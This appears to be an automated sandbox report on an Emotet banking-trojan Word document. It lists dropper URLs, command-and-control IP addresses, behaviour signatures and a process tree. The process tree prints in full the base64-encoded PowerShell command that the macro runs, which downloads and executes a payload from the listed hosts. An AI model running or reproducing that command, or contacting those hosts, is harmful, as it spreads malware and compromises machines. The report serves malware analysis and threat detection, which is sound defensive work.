Overview

overview

10

Static

static

8

emotet_e3_...oc.doc

windows7_x64

10

emotet_e3_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    15/08/2020, 03:46

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e3_180477b92b3bf7d69b02af387ab42a2ecf08c6acddb52cb5a2de7c8f39ec7f58_2020-08-15__034459._doc.doc
  • Size 230KB
  • Sample200815-8md8byjxtj
  • SHA256 180477b92b3bf7d69b02af387ab42a2ecf08c6acddb52cb5a2de7c8f39ec7f58
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://slotenservice-24-7-actief.nl/crjns/LODRmgim/
  • exe.dropper

    https://zubk.net/wp-content/plugins/gallery-plugin/upload/files/vDXbZpIep/
  • exe.dropper

    http://yourcomputerneeds.net/wp-admin/JXjqdXqT/
  • exe.dropper

    http://lansec.com.br/rkz_wgz_2mw77xw/NxS/
  • exe.dropper

    http://larrysmith.com/old-files/djrowrumw34o8s80545998/

Extracted

Family

  • emotet

C2

  • 71.57.180.213:80

  • 185.86.148.68:443

  • 168.235.82.183:8080

  • 181.113.229.139:443

  • 181.134.9.162:80

  • 217.199.160.224:8080

  • 105.209.235.113:8080

  • 216.75.37.196:8080

  • 97.104.107.190:80

  • 203.153.216.182:7080

  • 107.161.30.122:8080

  • 41.106.96.12:80

  • 202.5.47.71:80

  • 201.235.10.215:80

  • 105.213.67.88:80

  • 115.79.195.246:80

  • 179.5.118.12:80

  • 212.112.113.235:80

  • 139.59.12.63:8080

  • 177.37.81.212:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_180477b92b3bf7d69b02af387ab42a2ecf08c6acddb52cb5a2de7c8f39ec7f58_2020-08-15__034459._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:316
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABFAHQAeQBlAGEAegA5AD0AJwBZAHgAZQBwAGUAZQBwACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAcgBJAHQAYABZAGAAUABSAG8AdABvAGMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABZAGEAZwBiAHgAZQB6ACAAPQAgACcAUQByAHAAbwAnADsAJABIAHgAbAAzAG0AMgA1AD0AJwBLAHIAMwA2AG4AegAyACcAOwAkAFcAcQA2AGsAOABoADYAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABZAGEAZwBiAHgAZQB6ACsAJwAuAGUAeABlACcAOwAkAFgAZQBpAGcAcwB6AG4APQAnAEIAcAB4ADYAdwB1AG8AJwA7ACQARgA4ADUAcAA2AGUAOQA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAFQALgBXAEUAYgBDAGwAaQBlAE4AdAA7ACQAWgBnAHMANABzAHYAdAA9ACcAaAB0AHQAcAA6AC8ALwBzAGwAbwB0AGUAbgBzAGUAcgB2AGkAYwBlAC0AMgA0AC0ANwAtAGEAYwB0AGkAZQBmAC4AbgBsAC8AYwByAGoAbgBzAC8ATABPAEQAUgBtAGcAaQBtAC8AKgBoAHQAdABwAHMAOgAvAC8AegB1AGIAawAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHAAbAB1AGcAaQBuAHMALwBnAGEAbABsAGUAcgB5AC0AcABsAHUAZwBpAG4ALwB1AHAAbABvAGEAZAAvAGYAaQBsAGUAcwAvAHYARABYAGIAWgBwAEkAZQBwAC8AKgBoAHQAdABwADoALwAvAHkAbwB1AHIAYwBvAG0AcAB1AHQAZQByAG4AZQBlAGQAcwAuAG4AZQB0AC8AdwBwAC0AYQBkAG0AaQBuAC8ASgBYAGoAcQBkAFgAcQBUAC8AKgBoAHQAdABwADoALwAvAGwAYQBuAHMAZQBjAC4AYwBvAG0ALgBiAHIALwByAGsAegBfAHcAZwB6AF8AMgBtAHcANwA3AHgAdwAvAE4AeABTAC8AKgBoAHQAdABwADoALwAvAGwAYQByAHIAeQBzAG0AaQB0AGgALgBjAG8AbQAvAG8AbABkAC0AZgBpAGwAZQBzAC8AZABqAHIAbwB3AHIAdQBtAHcAMwA0AG8AOABzADgAMAA1ADQANQA5ADkAOAAvACcALgAiAFMAcABgAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATwBqAGsAdABpADgANAA9ACcAVgBxADMAcQA3AGsAYwAnADsAZgBvAHIAZQBhAGMAaAAoACQAWgBiAGkAOAA1AHYAagAgAGkAbgAgACQAWgBnAHMANABzAHYAdAApAHsAdAByAHkAewAkAEYAOAA1AHAANgBlADkALgAiAGQATwBgAHcAYABOAGwAbwBhAGAAZABGAGkAbABFACIAKAAkAFoAYgBpADgANQB2AGoALAAgACQAVwBxADYAawA4AGgANgApADsAJABKAGUAMQB0AG8AbgA4AD0AJwBHAGIAegA4AGQAXwA3ACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAVwBxADYAawA4AGgANgApAC4AIgBMAGAARQBOAGAAZwB0AGgAIgAgAC0AZwBlACAAMwA2ADgAOQAxACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawBlAC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAKAAkAFcAcQA2AGsAOABoADYAKQA7ACQAVABrAGQAcABoAGMAYQA9ACcAWQBtAGMAOAA4AHAANAAnADsAYgByAGUAYQBrADsAJABGAHIAcgA1ADYAeABoAD0AJwBSAGsAaABoADcAZwA2ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFkAbgBlAF8AMABhAGcAPQAnAFMAaABwAGEANgB5AG4AJwA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1700
    • C:\Users\Admin\AppData\Local\Temp\Qrpo.exe
      "C:\Users\Admin\AppData\Local\Temp\Qrpo.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1796
      • C:\Windows\SysWOW64\wscinterop\KBDUSX.exe
        "C:\Windows\SysWOW64\wscinterop\KBDUSX.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1588

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/316-14-0x0000000002020000-0x0000000002021000-memory.dmp
        Download

        memory/316-2-0x00000000088F0000-0x00000000088F4000-memory.dmp
        Download

        memory/316-5-0x000000000A9F0000-0x000000000A9F4000-memory.dmp
        Download

        memory/316-6-0x000000000BA70000-0x000000000BA74000-memory.dmp
        Download

        memory/316-7-0x0000000006EB0000-0x00000000070B0000-memory.dmp
        Download

        memory/316-8-0x0000000006EB0000-0x00000000070B0000-memory.dmp
        Download

        memory/1700-16-0x000000001B7C0000-0x000000001B7C1000-memory.dmp
        Download

        memory/1700-15-0x000000001C3F0000-0x000000001C3F1000-memory.dmp
        Download

        memory/1700-13-0x0000000002470000-0x0000000002471000-memory.dmp
        Download

        memory/1700-12-0x0000000002300000-0x0000000002301000-memory.dmp
        Download

        memory/1700-11-0x000000001ACC0000-0x000000001ACC1000-memory.dmp
        Download

        memory/1700-10-0x00000000023B0000-0x00000000023B1000-memory.dmp
        Download

        memory/1700-9-0x000007FEF2420000-0x000007FEF2E0C000-memory.dmp
        Download

        memory/1796-20-0x00000000002A0000-0x00000000002AC000-memory.dmp
        Download

        memory/1924-24-0x000007FEF2B40000-0x000007FEF2DBA000-memory.dmp
        Download